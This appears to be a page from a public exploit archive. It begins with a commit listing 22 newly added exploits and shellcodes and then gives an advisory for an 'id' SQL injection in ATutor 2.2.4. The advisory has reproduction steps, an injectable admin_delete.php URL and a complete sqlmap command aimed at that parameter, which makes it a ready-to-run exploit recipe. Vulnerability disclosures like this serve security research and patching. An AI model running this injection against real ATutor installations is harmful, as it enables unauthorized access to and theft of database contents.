cf92ea269e
22 changes to exploits/shellcodes Quick N Easy Web Server 3.3.8 - Denial of Service (PoC) Go SSH servers 0.0.2 - Denial of Service (PoC) Android Binder - Use-After-Free (Metasploit) Diamorphine Rootkit - Signal Privilege Escalation (Metasploit) Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit) Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting ESCAM QD-900 WIFI HD Camera - Remote Configuration Disclosure Real Web Pentesting Tutorial Step by Step - [Persian] AMSS++ v 4.31 - 'id' SQL Injection SecuSTATION IPCAM-130 HD Camera - Remote Configuration Disclosure CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin) AMSS++ 4.7 - Backdoor Admin Account SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure ATutor 2.2.4 - 'id' SQL Injection I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure ManageEngine EventLog Analyzer 10.0 - Information Disclosure eLection 2.0 - 'id' SQL Injection DotNetNuke 9.5 - Persistent Cross-Site Scripting DotNetNuke 9.5 - File Upload Restrictions Bypass Aptina AR0130 960P 1.3MP Camera - Remote Configuration Disclosure Cacti 1.2.8 - Remote Code Execution Windows\x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes)
16 lines
No EOL
737 B
Text
16 lines
No EOL
737 B
Text
# Exploit Title: ATutor 2.2.4 - 'id' SQL Injection
|
|
# Date: 2020-02-23
|
|
# Exploit Author: Andrey Stoykov
|
|
# Vendor Homepage: https://atutor.github.io/
|
|
# Software Link: https://sourceforge.net/projects/atutor/files/latest/download
|
|
# Version: ATutor 2.2.4
|
|
# Tested on: LAMP on Ubuntu 18.04
|
|
|
|
Steps to Reproduce:
|
|
|
|
1) Login as admin user
|
|
2) Browse to the following URL:
|
|
http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17'
|
|
3) Exploiting with SQLMAP:
|
|
//Must supply valid User-Agent otherwise, there will be errors.
|
|
sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --dbms=mysql -u "http://192.168.51.2/atutor/mods/_core/users/admin_delete.php?id=17*" --cookie=<COOKIES HERE> |